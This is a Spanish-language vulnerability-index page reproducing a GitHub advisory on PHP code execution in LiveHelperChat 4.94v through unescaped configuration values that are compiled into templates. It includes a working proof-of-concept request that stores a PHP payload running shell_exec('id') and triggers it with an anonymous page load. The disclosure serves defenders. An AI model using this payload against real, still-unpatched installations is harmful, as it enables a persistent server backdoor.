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Advisory · GitHub · Packagist · remdex/livehelperchat

GHSA-69P8-4V2V-347R

PHP code execution via config value compiled into a template

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CVSS 3.1
7.2
Alta
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H Fuente: GitHub
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
ParcheSin parcheEl fabricante no ha publicado corrección
Exposición38 dDesde la divulgación, 12 oct 2026, 1:55 a. m.
Detección37 dDesde la divulgación hasta su ingreso al índice
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada +1
Explotación
Remediación
Monitoreo
Detectada +1
12 oct 26
19 nov 26
12 oct 26
21 oct 26
31 oct 26
10 nov 26
19 nov 26
FechaFaseEventoDetalle
Divulgación Publicada GHSA-69P8-4V2V-347R divulgada · CVSS 7.2 (GitHub)
Divulgación Modificada Última actualización del registro
Monitoreo Detectada Ingresó al índice
Monitoreo Verificada Última verificación contra las fuentes
Resumen
Descripción del advisory
Texto original · GitHub · en inglés
Summary

`lib/core/lhtpl/tpl.php` is a template compiler. At `:486` it matches `<?php echo erLhcoreClassModelChatConfig::fetch('key')->current_value ... ?>` in the template source, and at `:491` it replaces the whole PHP block with the raw configuration value:

$contentFile = str_replace($Matches[0][$key],(string)$valueConfig,$contentFile);

The result is written to disk at `:544` as `cache/compiledtemplates/<name>_<md5>.php` and included at `:588`.

A configuration value containing `<?php ... ?>` therefore becomes PHP source in a generated file that the application includes.

Three neighbouring branches escape the same value where it enters PHP code: `:502` wraps it as `'\''.str_replace("'","\'",(string)$valueConfig).'\''`, and `:515` and `:529` alike. The branch at `:491` substitutes template text and neutralises neither HTML nor a PHP opening tag.

Result: an account holding the single `singlesetting` permission executes operating system commands as the web server user, triggered afterwards by any visitor.

Details

`tpl.php:486` captures the configuration read in the template, `:491` substitutes the stored value without any encoding, `:544` writes the compiled result into `cache/compiledtemplates/` and `:588` includes that file. `modules/lhsystem/singlesetting.php:19` stores the POST value into `$config->value` unchanged and `:20` persists it. Eight configuration keys reach the raw substitution at `:491`, among them `mheight_op`, `accept_tos_link`, `customer_site_url`, `listd_op` and `min_phone_length`, and all are editable through the same endpoint. The branches at `:502`, `:515` and `:529` escape the same value before it enters PHP code.

Reachable on any instance set up by the shipped installer, once an administrator has granted the permission. The compile step requires `site.templatecompile` to be true (`tpl.php:99`, `:218`); `modules/lhinstall/install.php:3073` and `cli/lib/install.php:2949` both set it, while the shipped `settings/settings.ini.default.php:18` has it false. With the value false the payload is stored and never executes, and `cache/compiledtemplates/` stays empty.

`lhsystem/singlesetting` is declared at `modules/lhsystem/module.php:126` as "Allow user to change app settings" and gated at `:90`. Of the `lhsystem` functions, the Operators role the installer creates receives only `use`, `generatejs` and `changelanguage` (`install.php:3019`, `:3022`, `:3023`); `singlesetting` is not among its 60 permissions. The holder cannot manage users, roles, templates or updates, all refused live.

No shorter route exists: no configuration value reaches `eval`, `exec`, `shell_exec`, `system`, `passthru`, `proc_open`, `popen`, `include` or `require` anywhere else in `lib/`, `modules/` or `design/`. The one `eval()` of a configuration value, at `design/defaulttheme/tpl/lhchat/modifychat.tpl.php:174` and `:196`, reads keys that have no row, and this endpoint cannot create one. Template editing, theme editing and the self updater are separate permissions this account does not hold.

`strip_html()` (`tpl.php:170-190`) trims each line and joins without a separator, so the payload only has to stay valid PHP after that collapse; `:187` inserts a space after `<?php`, so multi line payloads work.

Proof of concept

LiveHelperChat 4.94v (`d8787d04`), Docker, stock post-install configuration with `site.templatecompile` true. Attacker is `chk11`, whose role holds exactly one `lh_rolefunction` row: `lhsystem` / `singlesetting`.

  1. Confirm the marker does not exist.
docker exec <web> ls /tmp/lhc-vrfy-rce-001.txt
ls: cannot access '/tmp/lhc-vrfy-rce-001.txt': No such file or directory
  1. Store PHP source in a configuration value.
POST /index.php/site_admin/system/singlesetting/mheight_op
mheight_opValueParam=<?php @file_put_contents("/tmp/lhc-vrfy-rce-001.txt",
  "EXEC php=".PHP_VERSION." sapi=".php_sapi_name()." id=".@shell_exec("id")); ?>
&csfr_token=<token>

HTTP/1.1 200 OK
  1. Trigger the recompile with an anonymous request to the login page.
GET /index.php/site_admin/user/login        (no cookies)
HTTP/1.1 200 OK

docker exec <web> cat /tmp/lhc-vrfy-rce-001.txt
EXEC php=8.1.34 sapi=apache2handler id=uid=33(www-data) gid=33(www-data) groups=33(www-data)

The generated file `cache/compiledtemplates/login_5b0f7706...php` contains the payload as source:

confLH.defaultm_hegiht = '<?php  @file_put_contents("/tmp/lhc-vrfy-rce-001.txt", ...); ?>';
Controls
  1. The same account is refused on `permission/roles` with "You do not have permission".
  2. A second key, `listd_op`, reproduces it from the same account: `MINPERM-EXEC key=listd_op uid=www-data`.
  3. With `site.templatecompile` set to false the identical payload is stored and never runs, and `cache/compiledtemplates/` stays empty.
  4. Clearing the configuration value and regenerating the cache leaves no payload in `cache/compiledtemplates/`.

Live-verified: a shell command ran as `www-data`, written into a configuration field by an account holding one permission and executed by an unauthenticated page view.

Impact
  • Operating system command execution as the web server user.
  • The injected code is written into a cached file and runs on every render of the affected layout, so it is a persistent backdoor.
  • The trigger is any visitor: the sink is inlined into the page head used by the login, widget and visitor chat layouts.
  • Eight configuration keys reach the same sink. `mheight_op`, `listd_op`, `customer_site_url` and `min_phone_length` are rendered unconditionally; `accept_tos_link` sits behind a condition that is off by default, and three cobrowse keys only render on that path.
  • Saving the value writes no `lh_audits` row, because the installer leaves `ChatConfig` out of `audit_configuration['log_objects']`.

Credit

Jan Kahmen, turingpoint https://www.turingpoint.de (jan@turingpoint.de)

Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.

Vector CVSS 3.1

Desglose de métricas

Opción resaltada = valor del vector · izquierda = peor caso · GitHub
Vector de ataqueAV:N
RedAdyacenteLocalFísica
ComplejidadAC:L
BajaAlta
PrivilegiosPR:H
NingunoBajosAltos
InteracciónUI:N
NingunaRequerida
AlcanceS:U
CambiadoSin cambio
ConfidencialidadC:H
AltoBajoNinguno
IntegridadI:H
AltoBajoNinguno
DisponibilidadA:H
AltoBajoNinguno
Versiones

Rangos afectados

Afectada Corregida
remdex/livehelperchat≤ 4.94v
4.94v
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
Packagistremdex/livehelperchat
Sin parche — — —
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Advisoryhttps://github.com/LiveHelperChat/livehelperchat/security/advisories/GHSA-69p8-4v2v-347r

Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.